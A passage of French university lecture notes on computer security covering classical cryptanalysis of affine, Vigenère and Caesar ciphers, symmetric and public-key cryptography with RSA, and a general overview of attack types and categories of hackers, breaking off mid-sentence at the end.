Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 35
Tableau 2. Fréquence des 26 lettres dans le texte chiffré

Lettre Fréquence
A 2
B 1
C 0
D 6
E 5
F 4
G 0
H 5
I 0
J 0
K 5
L 2
M 2
N 1
O 1
P 3
Q 0
R 8
S 3
T 0
U 2
V 4
W 0
X 2
Y 1
Z 0

3.5. Cryptanalyse du chiffrement affine

Pour étudier comment une cryptanalyse utilisant des données statistiques


fonctionne sur un exemple simple, regardons le chiffrement affine.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 36
Principe

1. Il faut tout d’abord établir la fréquence relative de chaque lettre du texte


chiffré, par analyse de fréquence ;
2. Sur base de l’analyse de fréquences, il faut ensuite dériver les équations
correspondantes. D’après divers relevés statistiques, E et T sont les lettres
les plus fréquentes en anglais, E et A sont les lettres les plus fréquentes en
français. Supposons qu’Oscar ait intercepté le texte chiffré suivant :

Exemple

Texte chiffré obtenu par chiffrement affine est en anglais.

YQBH RQVB IBPB UYZG YQVT EHEB OVTU ZYYQ BOBT DKYZ GEBO
TZUH KBGG ZOYT CMDY HKTZ YQBG ODVY ZGYQ BRZK KHMZ
OHYV ZUNV YQHU WRZU YOVM DYVZ UZGZ YQBO EBZE KB

La table des fréquences est donnée sur la table 2.

Les caractères les plus fréquents sont : Y (16 occurrences), Z (15 occurrences), B
(14 occurrences), O (8 occurrences), Q (8 occurrences), V (8 occurrence), G (7
occurrences), H (7 occurrences), U (7 occurrences), K (6 occurrences), T (6
occurrences), E (5 occurrences) et D (4 occurrences). On peut tout d’abord
supposer que Y correspond à « e » et que Z correspond à « t» car « e » et « a »
sont des lettres les plus courantes de l’alphabet français. Numériquement, cette
hypothèse se traduit par 𝑒𝑘 (4) = 24 𝑒𝑡 𝑒𝑘 (19) = 25. en rappelant que 𝑒𝑘 = 𝑎𝑥 +
𝑏 𝑜ù 𝑎 𝑒𝑡 𝑏 sont inconnus, on obtient deux équations.

4𝑎 + 𝑏 = 24 𝑚𝑜𝑑 26 (1)

19𝑎 + 𝑏 = 25 𝑚𝑜𝑑 26 (2)

Faisons (2) – (1), ceci implique que 15𝑎 = 1 𝑚𝑜𝑑 26 , alors trouvons la valeur
de 𝑎

15𝒂 = 1 𝑚𝑜𝑑 26

Trouvons maintenant une valeur qui peut être multipliée par 15 et son reste nous
donne 1 dans 𝕫26 . Cette valeur peut être trouvée par un tableau de multiplication.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 37
Ce système admet pour unique solution a = 7 et b = 22 dans 𝑧𝑧26 . C’est un résultat
au moins admissible. On peut supposer que Y correspond à « e » et B correspond
à « t » ; en procédant comme ci-dessus on obtient a = 21 et b = 18. On peut
supposer que Y correspond à « e » et O correspond à «t » ; en procédant comme
ci-dessus on obtient a = 8. Qui est un résultat illégal car le pgcd (𝑎, 26) = 2 > 1.
L’hypothèse est fausse. On peut supposer que Y correspond à « e » et Q
correspond à «t » ; en procédant comme ci-dessus on obtient a = 22. Qui est un
résultat illégal. On peut supposer que Y correspond à « e » et V correspond à
«t » ; en procédant comme ci-dessus on obtient a = 5 et b = 4, c’est un résultat
au moins admissible. On peut supposer que Y correspond à « e » et G correspond
à «t » ; en procédant comme ci-dessus on obtient a = 4 c’est un résultat
impossible. On peut supposer que Y correspond à « e » et H correspond à «t » ;
en procédant comme ci-dessus on obtient a = 11 et b = 6, c’est un résultat au
moins admissible. On peut supposer que Y correspond à « e » et U correspond à
«t » ; on obtient a = 24, c’est un résultat impossible. On peut supposer que Y
correspond à « e » et T correspond à «t » ; en procédant comme ci-dessus on
obtient a = 17 et b = 8, c’est un résultat au moins admissible.

Il nous reste à déchiffrer le texte avec la clef 𝐾 = (5,4), 𝐾 = (21, 18), 𝐾 =


(17,8), 𝐾 = (11,6) 𝑒𝑡 𝐾 = (7, 22) pour voir si le texte clair obtenu a un sens ou
non en anglais

3.6. Cryptanalyse du chiffrement de Vigenère

On propose ici une méthode de cryptanalyse du chiffrement de Vigenère. La


première étape consiste à trouver la longueur du mot-clef, notée 𝑚. Elle aussi
consiste à chercher des répétitions dans le texte chiffré. Considérons par exemple
le mot-clé « ABC » qui sert à chiffrer « LE TEST QUI ESTIME LA TAILLE DE
CLEF ».

Clé répétée A B C A B C A B C A B C A B C A B C A B C A B C A B C A B

Texte clair L E T E S T Q U I E S T I M E L A T A I L L E D E C L E F

Texte L F V E T V Q V K E T V I N G L B V A J N L F F E D N E G
chiffré

Dans l'exemple ci-dessus, le Digramme « LE » est chiffré en « LF » deux


fois et « NE » une fois. Le trigramme « EST » est chiffré en « ETV » deux fois.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 38
Babbage et Kasiski comprirent que des répétitions de cette sorte leur offraient la
prise dont ils avaient besoin pour attaquer Vigenère.

Ces séquences redondantes peuvent indiquer deux caractéristiques :

• soit la même séquence de lettres du texte clair a été chiffrée avec la même
partie de la clef.
• soit deux suites de lettres différentes dans le texte clair auraient (possibilité
faible) par pure coïncidence engendré la même suite dans le texte chiffré.

Le premier cas étant le plus probable, on calcule le nombre de lettres entre


deux séquences identiques. Dans notre cas, il y a 19 lettres entre les deux « LF »
et 24 lettres entre le premier « LF » et « NE ». En plus il y a 3 lettres entre les
deux trigrammes, on en déduit que la longueur de la clé est un diviseur de 24
(sinon la clé et les deux « LF » et « NE » ne seraient pas alignés). La clé peut donc
posséder soit 24, 12, 3 ou 2 lettres (avec une lettre, nous aurions un chiffrement
monoalphabétique facilement cassé avec une analyse fréquentielle). Avec un texte
plus long, on découvrirait d'autres séquences qui permettraient d'affiner le résultat
et réduire la taille de la clé à une ou deux possibilités.

Avec de texte assez long on peut employer aussi deux techniques : le test de
Kasiski, et l’utilisation de l’indice de coïncidence.

Le test de Kasiski fut décrit initialement par Friedrich Kasiski en 1863. Cette
technique consiste à chercher des séquences de lettres qui apparaissent plus d’une
fois dans le texte. On cherche des paires de segments identiques de longueur au
moins trois dans le texte chiffré et l’on note la distance entre leurs premiers
caractères. Si l’on obtient plusieurs distances 𝑑1 , 𝑑2 , …. on peut conjecturer que 𝑚
divise le plus grand diviseur commun des 𝑑𝑖 . Une vérification a posteriori de la
valeur 𝑚 peut se faire par indice de coïncidence. Cette notion a été définie par
Wolfe Friedman en 1920. Noté 𝐼𝑐 (𝑥) celui-ci est défini comme la probabilité que
deux lettres choisies aléatoirement dans un texte soient identiques. Soient n le
nombre de lettres dans le texte, 𝑛0 = 𝑛𝑜𝑚𝑏𝑟𝑒 𝑑𝑒 𝐴, … , 𝑛25 = 𝑛𝑜𝑚𝑏𝑟𝑒 𝑑𝑒 𝑍.
pour chaque 𝑖, 0 ≤ 𝑖 ≤ 25, il y a(𝑓2𝑖) façons de choisir deux caractères 𝑖 . donc, on
a la formule

∑25
𝑖=0 𝑓𝑖 (𝑓𝑖 − 1)
𝐼𝑐 (𝑥) =
𝑛(𝑛 − 1)

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 39
Supposons que 𝑥 soit un texte en anglais. En notant respectivement
𝑝0 , … . . , 𝑝25 les probalités d’apparition des lettres A, B, …., Z dans le tableau 1,
on peut s’attendre à ce que 𝐼𝑐 (𝑥) = ∑25 2
𝑖=0 𝑝𝑖 = 0,065.

Car la probabilité que deux caractères soient égaux à A est 𝑝0 2 , la probabilité


que deux caractères soient égaux à B est 𝑝1 2 , etc. on peut appliquer le même
raisonnement si 𝑥 est obtenu par un procédé de chiffrement monoalphabétique.
Dans ce cas, les probabilités d’apparitions sont permutées, mais la quantité
∑25 2
𝑖=0 𝑝𝑖 reste inchangée.

Avec l’hypothèse sur la valeur de 𝑚, comment détermine-t-on le mot clef ? Il est


utile de considérer l’indice de coïncidence mutuel de deux chaînes.

L’indice de coïncidence mutuelle de deux messages 𝑥 𝑒𝑡 𝑥′ de longueurs


respectives 𝑛 𝑒𝑡 𝑛′ est la proportion, parmi les 𝑛𝑛′ couples formés d’une lettre de
𝑥 et d’une lettre de 𝑥′, de couples de lettres identiques. Si 𝑓𝑖 𝑒𝑡 𝑓′𝑖 sont les
nombres respectifs d’occurrences de la lettre 𝑖 dans 𝑥 𝑒𝑡 𝑥′ alors l’indice de
∑25
𝑖=0 𝑓𝑖 𝑓′𝑖
coïncidence mutuelle, noté par 𝑀𝐼𝑐 est donnée 𝑀𝐼𝑐 =
𝑛𝑛′

Si 𝑥 𝑒𝑡 𝑥′ sont deux messages écrits dans la même langue, la 𝑀𝐼𝑐 est proches
de valeurs données par la table … cela est encore vrai si on applique à 𝑥 𝑒𝑡 𝑥′ un
chiffrement par décalage ou substitution utilisant la même clef.

Par contre, si on utilise deux clefs de décalages distincts, la 𝑀𝐼𝑐 prend alors
des valeurs plus basses de 0,031 à 0,045.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 40
Tableau 3. Décalage relatif et Espérance d’indice de coïncidence mutuelle
coorespondant

Décalage Espérance de 𝑀𝐼𝑐


relatif
0 0,065
1 0,039
2 0,032
3 0,034
4 0,044
5 0,033
6 0,036
7 0,039
8 0,034
9 0,034
10 0,038
11 0,045
12 0,039
13 0,043

3.7. Cryptanalyse du chiffrement par décalage (César)

Le chiffre de César peut être cassé très facilement, même à l'aide du seul
texte chiffré. On peut distinguer deux cas :

• le cryptanalyste a la connaissance du fait qu'un simple chiffrement par


substitution a été employé, mais ignore qu'il s'agit du chiffre de César en
particulier ;
• le cryptanalyste sait que le chiffre de César a été utilisé, mais ignore la
valeur du décalage.

Dans le premier cas, il est possible de casser le chiffre de César à l'aide des
mêmes techniques que dans le cas général d'un chiffrement par substitution, à
savoir l'analyse fréquentielle ou la recherche de mots probables. Lors de la
résolution, le cryptanalyste ne sera pas sans remarquer une certaine régularité dans
les décalages, et en déduira que l'algorithme employé est le chiffre de César.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 41
Dans le deuxième cas, comme il n'y a qu'un nombre limité de décalages
(vingt six dont un inutile), il suffit de tester tous les chiffrements possibles jusqu'à
trouver le bon. C'est ce qu'on appelle une attaque par force brute, technique de
test de toutes les combinaisons possibles. Une méthode simple pour mener
l'attaque est de prendre un fragment du texte crypté et d'écrire dans un tableau tous
les décalages possibles (voir le tableau 4) (Leighton, 1969).

Tableau 4. Texte de test

Décalage du Texte de test


déchiffrement
0 GVCTX SKVEQ QI
1 FUBSW RJUDP PH
2 ETARV QITCO OG
3 DSZQU PHSBN NF
4 CRYPT OGRAM ME
5 BQXOS NFQZL LD
6 APWNR MEPYK KC

23 JYFWA VNYHT TL
24 IXEVZ UMXGS SK
25 HWDUY TLWFR RJ

Dans ce tableau, on a pris le fragment GVCTX SKVEQ QI ; le texte en clair


apparaît ainsi facilement à la quatrième ligne. Une autre façon de procéder serait
d'écrire toutes les lettres de l'alphabet, en dessous de chaque lettre du fragment, et
en commençant par celle-ci. Ce genre d'attaque peut être accélérée en utilisant des
bandes avec l'alphabet écrit dessus ; les bandes étant placées en colonne sur le
texte chiffré (lettre sur lettre : par exemple, le « E » de la bande doit être placé au-
dessus du « E » du texte chiffré), la phrase en clair doit apparaître sur une des
lignes.

3.8. Différentes notions de sécurité d’un cryptosystème


1) La sécurité inconditionnelle : qui ne préjuge pas de la puissance de
calcul du cryptanalyste qui peut être illimitée.
2) La sécurité calculatoire : qui repose sur l’impossibilité de faire en un
temps raisonnable, compte tenu de la puissance de calcul disponible,
les calculs nécessaires pour décrypter un message. Cette notion dépend
de l’état de la technique à un instant donnée.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 42
3) La sécurité prouvée : qui réduit la sécurité du cryptosystème à un
problème bien connu difficile, par exemple on pourrait prouver un
théorème disant qu’un « système cryptographique est sûr si un entier
donné n ne peut pas être factorisé ».
4) La confidentialité parfaite : qualité des codes pour lesquels un couple
(message clair, message chiffré) ne donne aucune information sur la
clef.

Toutes ces notions de sûreté reposent sur la théorie de l’information de


Claude Shannon.

Si le but traditionnel de la cryptographie est d’élaborer des méthodes


permettant de transmettre des données de manière confidentielle, la cryptographie
moderne s’attaque en fait plus généralement aux problèmes de sécurité des
communications.

Pour qu’un système cryptographique soit pratique, il doit satisfaire certaines


propriétés :

1. chaque fonction de chiffrement et chaque fonction de


déchiffrement doit être calculable efficacement.
2. Un opposant observant le texte chiffré doit être incapable de
déterminer la clef, ni le texte clair

3.9. Force des cryptosystèmes

La force de la méthode de cryptage vient de l’algorithme, le secret de la clef,


la longueur de la clef, et des vecteurs d’initialisation. La force est corrélée à la
quantité de traitement nécessaire, la puissance et le temps qu’il faut pour casser la
clef ou déterminer sa valeur. Casser une clef peut être accompli par une attaque
en force brute, qui tente par tous les moyens possibles la valeur de la clef jusqu’a
ce que le texte clair qui en résulte soit significative. En fonction de l’algorithme,
et de la longueur de la clef, cela peut être une tâche très facile ou une tâche
pratiquement impossible. Si une clef peut être rompue avec un processeur
Pentium II en trois heures, le chiffre n’est pas fort du tout.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 43
Un autre nom pour la force de la cryptographie est le "facteur travail", ce qui
est une estimation de l’effort qu’il faudrait un attaquant de pénétrer dans une
méthode de cryptage.

La force du mécanisme de protection devrait être utilisée en corrélation avec


la sensibilité des données cryptées.

Même si l’algorithme est très complexe et approfondie, il y a d’autres


questions relevant du cryptage qui peuvent affaiblir la force des méthodes de
cryptage. Parce que la clef est généralement la valeur secrète nécessaire aux
messages réellement cryptés et décryptés, la protection abusive de la clef peut
affaiblir la puissance de cryptage.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 44
Chapitre 4 : Cryptographie moderne
Le mot cryptographie est un terme générique désignant l'ensemble des
techniques permettant de chiffrer des messages, c'est-à-dire permettant de les
rendre inintelligibles sans une action spécifique. Le verbe crypter est parfois
utilisé mais on lui préfèrera le verbe chiffrer.

La cryptologie est essentiellement basée sur l'arithmétique : Il s'agit dans le


cas d'un texte de transformer les lettres qui composent le message en une
succession de chiffres (sous forme de bits dans le cas de l'informatique car le
fonctionnement des ordinateurs est basé sur le binaire), puis ensuite de faire des
calculs sur ces chiffres pour :

• d'une part les modifier de telle façon à les rendre incompréhensibles. Le


résultat de cette modification (le message chiffré) est
appelé cryptogramme (en anglaisciphertext) par opposition au message
initial, appelé message en clair (en anglais plaintext) ;
• faire en sorte que le destinataire saura les déchiffrer.

Le fait de coder un message de telle façon à le rendre secret


s'appelle chiffrement. La méthode inverse, consistant à retrouver le message
original, est appelée déchiffrement.

Le chiffrement se fait généralement à l'aide d'une clef de chiffrement, le


déchiffrement nécessite quant à lui une clef de déchiffrement. On distingue
généralement deux types de clefs :

• Les clés symétriques: il s'agit de clés utilisées pour le chiffrement ainsi que
pour le déchiffrement. On parle alors de chiffrement symétrique ou de
chiffrement à clé secrète.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 45
• Les clés asymétriques: il s'agit de clés utilisées dans le cas du chiffrement
asymétrique (aussi appelé chiffrement à clé publique). Dans ce cas, une clé
différente est utilisée pour le chiffrement et pour le déchiffrement

On appelle décryptement (le terme de décryptage peut éventuellement être


utilisé également) le fait d'essayer de déchiffrer illégitimement le message (que la
clé de déchiffrement soit connue ou non de l'attaquant).

Lorsque la clef de déchiffrement n'est pas connue de l'attaquant on parle alors


de cryptanalyse ou cryptoanalyse (on entend souvent aussi le terme plus
familier decassage).

La cryptologie est la science qui étudie les aspects scientifiques de ces


techniques, c'est-à-dire qu'elle englobe la cryptographie et la cryptanalyse.

4.1. Chiffrement symétrique

Le chiffrement symétrique (aussi appelé chiffrement à clé privée ou chiffrement


à clé secrète) consiste à utiliser la même clé pour le chiffrement et le
déchiffrement.

Le chiffrement consiste à appliquer une opération (algorithme) sur les


données à chiffrer à l'aide de la clé privée, afin de les rendre inintelligibles. Ainsi,
le moindre algorithme (tel qu'un OU exclusif) peut rendre le système quasiment
inviolable (la sécurité absolue n'existant pas).

Toutefois, dans les années 40, Claude Shannon démontra que pour être
totalement sûr, les systèmes à clefs privées doivent utiliser des clefs d'une
longueur au moins égale à celle du message à chiffrer. De plus le chiffrement
symétrique impose d'avoir un canal sécurisé pour l'échange de la clé, ce qui
dégrade sérieusement l'intérêt d'un tel système de chiffrement.

Le principal inconvénient d'un cryptosystème à clefs secrètes provient de


l'échange des clés. En effet, le chiffrement symétrique repose sur l'échange d'un
secret (les clés). Ainsi, se pose le problème de la distribution des clés :

D'autre part, un utilisateur souhaitant communiquer avec plusieurs personnes


en assurant de niveaux de confidentialité distincts doit utiliser autant de clés

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 46
privées qu'il a d'interlocuteurs. Pour un groupe de N personnes utilisant un
cryptosystème à clés secrètes, il est nécessaire de distribuer un nombre de clés
égal à N * (N-1) / 2.

Ainsi, dans les années 20, Gilbert Vernam et Joseph Mauborgne mirent au
point la méthode du One Time Pad (traduisez méthode du masque jetable, parfois
appelé « One Time Password » et noté OTP), basée sur une clé privée, générée
aléatoirement, utilisée une et une seule fois, puis détruite. À la même époque, le
Kremlin et la Maison Blanche étaient reliés par le fameux téléphone rouge, c'est-
à-dire un téléphone dont les communications étaient cryptées grâce à une clé
privée selon la méthode du masque jetable. La clé privée était alors échangée
grâce à la valise diplomatique (jouant le rôle de canal sécurisé).

4.2. Chiffrement asymétrique

Le principe de chiffrement asymétrique (appelé aussi chiffrement à clés


publiques) est apparu en 1976, avec la publication d'un ouvrage sur la
cryptographie par Whitfield Diffie et Martin Hellman.

Dans un cryptosystème asymétrique (ou cryptosystème à clés publiques), les


clés existent par paires (le terme de bi-clés est généralement employé) :

• Une clé publique pour le chiffrement ;


• Une clé secrète pour le déchiffrement.

Ainsi, dans un système de chiffrement à clé publique, les utilisateurs


choisissent une clé aléatoire qu'ils sont seuls à connaître (il s'agit de la clé privée).
A partir de cette clé, ils déduisent chacun automatiquement un algorithme (il s'agit
de la clé publique). Les utilisateurs s'échangent cette clé publique au travers d'un
canal non sécurisé.

Lorsqu'un utilisateur désire envoyer un message à un autre utilisateur, il lui


suffit de chiffrer le message à envoyer au moyen de la clé publique du destinataire
(qu'il trouvera par exemple dans un serveur de clés tel qu'un annuaire LDAP). Ce
dernier sera en mesure de déchiffrer le message à l'aide de sa clé privée (qu'il est
seul à connaître).

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 47
Ce système est basé sur une fonction facile à calculer dans un sens
(appelée fonction à trappe à sens unique ou en anglais one-way trapdoor
function) et mathématiquement très difficile à inverser sans la clé privée
(appelée trappe).

A titre d'image, il s'agit pour un utilisateur de créer aléatoirement une petite


clé en métal (la clé privée), puis de fabriquer un grand nombre de cadenas (clé
publique) qu'il dispose dans un casier accessible à tous (le casier joue le rôle de
canal non sécurisé). Pour lui faire parvenir un document, chaque utilisateur peut
prendre un cadenas (ouvert), fermer une valisette contenant le document grâce à
ce cadenas, puis envoyer la valisette au propriétaire de la clé publique (le
propriétaire du cadenas). Seul le propriétaire sera alors en mesure d'ouvrir la
valisette avec sa clé privée.

4.3. Clé de session

Les algorithmes asymétriques (entrant en jeu dans les cryptosystèmes à clé


publique) permettent de s'affranchir de problèmes liés à l'échange de clé via un
canal sécurisé. Toutefois, ces derniers restent beaucoup moins efficaces (en terme
de temps de calcul) que les algorithmes symétriques.

Ainsi, la notion de clé de session est un compromis entre le chiffrement


symétrique et asymétrique permettant de combiner les deux techniques.

Le principe de la clé de session est simple : il consiste à générer aléatoirement


une clé de session de taille raisonnable, et de chiffrer celle-ci à l'aide d'un
algorithme de chiffrement à clef publique (plus exactement à l'aide de la clé
publique du destinataire).

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 48
Le destinataire est en mesure de déchiffrer la clé de session à l'aide de sa clé
privée. Ainsi, expéditeur et destinataires sont en possession d'une clé commune
dont ils sont seuls connaisseurs. Il leur est alors possible de s'envoyer des
documents chiffrés à l'aide d'un algorithme de chiffrement symétrique.

4.4. Algorithme de Diffie-Hellman

L'algorithme de Diffie-Hellman (du nom de ses inventeurs Diffie et Hellman) a


été mis au point en 1976 afin de permettre l'échange de clés à travers un canal non
sécurisé. Il repose sur la difficulté du calcul du logarithme discret dans un corps
fini.

4.5. Algorithme RSA

Cet algorithme a été proposé par un groupe de chercheurs du MIT (Massachusetts


Institut of technology). RSA représente en fait les initiales de nom de ses
inventeurs : Rivest, Shamir, Adleman. Cet algorithme est fondé sur certains
principes de la théorie des nombres, la factorisation.

Dans ce qui suit est présenté un algorithme simple, appuyé par un exemple chiffré
pour montrer comment, on peut générer les clés publique et privée, et comment
s’effectue le chiffrement et le déchiffrement.

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 49
Le choix de E et D peut être bien perçu, en considérant les facteurs de 96, qui sont
1, 2, 3, 4, 6, 8, 12, 16, 24, 32, 48. la liste de nombres qui sont premiers à 96 sont
5, 7, 9, 11, … Si nous essayons le premier de ces nombres alors on va trouver D
qui satisfait la condition MOD(D*E, X) = 1

Comme nous pouvons le constater à travers cet exemple, les nombres cruciaux
associés à l’algorithme sont les nombres premiers P et Q, qui doivent toujours
rester secrets. L’astuce consiste à choisir un nombre premier qui soit
suffisamment grand, si bien qu’il soit impossible de le factoriser en un temps
réaliste.

Ci – dessous, sont donnés quelques exemples du temps de factorisation de nombre


par un ordinateur :

• N = 100 chiffres ≈ 1 semaine


• N = 150 chiffres ≈ 1000 années
• N > 200 chiffre ≈ 1 million d’années

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 50
Chapitre 5 : La piraterie informatique

5.1. Introduction aux attaques

Tout ordinateur connecté à un réseau informatique est potentiellement vulnérable


à une attaque.

Une « attaque » est l'exploitation d'une faille d'un système informatique


(système d'exploitation, logiciel ou bien même de l'utilisateur) à des fins non
connues par l'exploitant du système et généralement préjudiciables.

Sur internet des attaques ont lieu en permanence, à raison de plusieurs


attaques par minute sur chaque machine connectée. Ces attaques sont pour la
plupart lancées automatiquement à partir de machines infectées (par
des virus, chevaux de Troie, vers, etc.), à l'insu de leur propriétaire. Plus rarement
il s'agit de l'action de pirates informatiques.

Afin de contrer ces attaques il est indispensable de connaître les principaux


types d'attaques afin de mettre en œuvre des dispositions préventives.

Les motivations des attaques peuvent être de différentes sortes :

• obtenir un accès au système ;


• voler des informations, tels que des secrets industriels ou des propriétés
intellectuelles ;
• glaner des informations personnelles sur un utilisateur ;
• récupérer des données bancaires ;
• s'informer sur l'organisation (entreprise de l'utilisateur, etc.) ;
• troubler le bon fonctionnement d'un service ;
• utiliser le système de l'utilisateur comme « rebond » pour une attaque ;
• utiliser les ressources du système de l'utilisateur, notamment lorsque le
réseau sur lequel il est situé possède une bande passante élevée

5.2. Types d’attaques

Les systèmes informatiques mettent en œuvre différentes composantes, allant de


l'électricité pour alimenter les machines au logiciel exécuté via le système
d'exploitation et utilisant le réseau.

Les attaques peuvent intervenir à chaque maillon de cette chaîne, pour peu
qu'il existe une vulnérabilité exploitable. Le schéma ci-dessous rappelle très

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 51
sommairement les différents niveaux pour lesquels un risque en matière de
sécurité existe :

Il est ainsi possible de catégoriser les risques de la manière suivante :

• Accès physique : il s'agit d'un cas où l'attaquant à accès aux locaux,


éventuellement même aux machines :
o Coupure de l'électricité
o Extinction manuelle de l'ordinateur
o Vandalisme
o Ouverture du boîtier de l'ordinateur et vol de disque dur
o Ecoute du trafic sur le réseau
• Interception de communications :
o Vol de session (session hijacking)
o Usurpation d'identité
o Détournement ou altération de messages
• Dénis de service : il s'agit d'attaques visant à perturber le bon fonctionnement
d'un service. On distingue habituellement les types de déni de service suivant :
o Exploitation de faiblesses des protocoles TCP/IP

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 52
o Exploitation de vulnérabilité des logiciels serveurs
• Intrusions :
o Balayage de ports
o Elévation de privilèges : ce type d'attaque consiste à exploiter une vulnérabilité
d'une application en envoyant une requête spécifique, non prévue par son
concepteur, ayant pour effet un comportement anormal conduisant parfois à un
accès au système avec les droits de l'application. Les attaques
par débordement de tampon (en anglais buffer overflow) utilisent ce principe.
o Maliciels (virus, vers et chevaux de Troie
• Ingénierie sociale : Dans la majeure partie des cas le maillon faible est
l'utilisateur lui-même ! En effet c'est souvent lui qui, par méconnaissance ou par
duperie, va ouvrir une brêche dans le système, en donnant des informations (mot
de passe par exemple) au pirate informatique ou en exécutant une pièce jointe.
Ainsi, aucun dispositif de protection ne peut protéger l'utilisateur contre les
arnaques, seuls bon sens, raison et un peu d'information sur les différentes
pratiques peuvent lui éviter de tomber dans le piège !
• Trappes : il s'agit d'une porte dérobée (en anglais backdoor) dissimulée dans un
logiciel, permettant un accès ultérieur à son concepteur.

Pour autant, les erreurs de programmation contenues dans les programmes


sont habituellement corrigées assez rapidement par leur concepteur dès lors que
la vulnérabilité a été publiée. Il appartient alors aux administrateurs (ou
utilisateurs personnels avertis) de se tenir informé des mises à jour des
programmes qu'ils utilisent afin de limiter les risques d'attaques.

D'autre part il existe un certain nombre de dispositifs (pare-feu, systèmes de


détection d'intrusions, antivirus) permettant d'ajouter un niveau de sécurisation
supplémentaire.

5.3. Effort de protection

La sécurisation d'un système informatique est généralement dite « asymétrique »,


dans la mesure où le pirate n'a qu'à trouver une seule vulnérabilité pour
compromette le système, tandis que l'administrateur se doit de corriger toutes les
failles.

5.4. Attaques par rebond

Lors d'une attaque, le pirate garde toujours à l'esprit le risque de se faire repérer,
c'est la raison pour laquelle les pirates privilégient habituellement les attaques
par rebond(par opposition aux attaques directes), consistant à attaquer une
machine par l'intermédiaire d'une autre machine, afin de masquer les traces

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 53
permettant de remonter à lui (telle que son adresse IP) et dans le but d'utiliser les
ressources de la machine servant de rebond.

Cela montre l'intérêt de protéger son réseau ou son ordinateur personnel, il


est possible de se retrouver « complice » d'une attaque et en cas de plainte de la
victime, la première personne interrogée sera le propriétaire de la machine ayant
servi de rebond.

Avec le développement des réseaux sans fils, ce type de scénario risque de


devenir de plus en plus courant car lorsque le réseau sans fil est mal sécurisé, un
pirate situé à proximité peut l'utiliser pour lancer des attaques !

5.5. Les hackers

Le terme « hacker » est souvent utilisé pour désigner un pirate informatique. Les
victimes de piratage sur des réseaux informatiques aiment à penser qu'ils ont été
attaqués par des pirates chevronnés ayant soigneusement étudié leur système et
ayant développé des outils spécifiquement pour en exploiter les failles.

Le terme hacker a eu plus d'une signification depuis son apparition à la fin


des années 50. A l'origine ce nom désignait d'une façon méliorative les
programmeurs émérites, puis il servit au cours des années 70 à décrire les
révolutionnaires de l'informatique, qui pour la plupart sont devenus les fondateurs
des plus grandes entreprises informatiques.

C'est au cours des années 80 que ce mot a été utilisé pour catégoriser les
personnes impliquées dans le piratage de jeux vidéos, en désamorçant les
protections de ces derniers, puis en en revendant des copies.

Aujourd'hui ce mot est souvent utilisé à tort pour désigner les personnes
s'introduisant dans les systèmes informatiques

5.5.1. Les différents types de pirates

En réalité il existe de nombreux types d'"attaquants" catégorisés selon leur


expérience et selon leurs motivations :

• Les « white hat hackers », hackers au sens noble du terme, dont le but est
d'aider à l'amélioration des systèmes et technologies informatiques, sont
généralement à l'origine des principaux protocoles et outils informatiques que
nous utilisons aujourd'hui; Le courrier électronique est un des meilleurs
exemples ;

Sécurité informatique en L2 Informatique.


Ruffin-Benoît NGOIE MPOY Tel : 0818119887/0897111489 E-mail : benoitmpoy@hotmail.com
Page | 54
• Les « black hat hackers », plus couramment appelés pirates, c'est-à-dire des
personnes s'introduisant dans les systèmes informatiques dans un but
nuisible ;
• Les « script kiddies » (traduisez gamins du script, parfois également
surnommés crashers, lamers ou encore packet monkeys, soit les singes des
paquets réseau) sont de jeunes utilisateurs du réseau utilisant des programmes
trouvés sur Internet, généralement de façon maladroite, pour vandaliser des
systèmes informatiques afin de s'amuser.
• Les « phreakers » sont des pirates s'intéressant au réseau téléphonique
commuté (RTC) afin de téléphoner gratuitement grâce à des circuits
électroniques (qualifiées de box, comme la blue box, la violet box, ...)
connectés à la ligne téléphonique dans le but d'en falsifier le fonctionnement.
On appelle ainsi « phreaking » le piratage de ligne téléphonique.
• Les « carders » s'attaquent principalement aux systèmes de cartes à puces (en
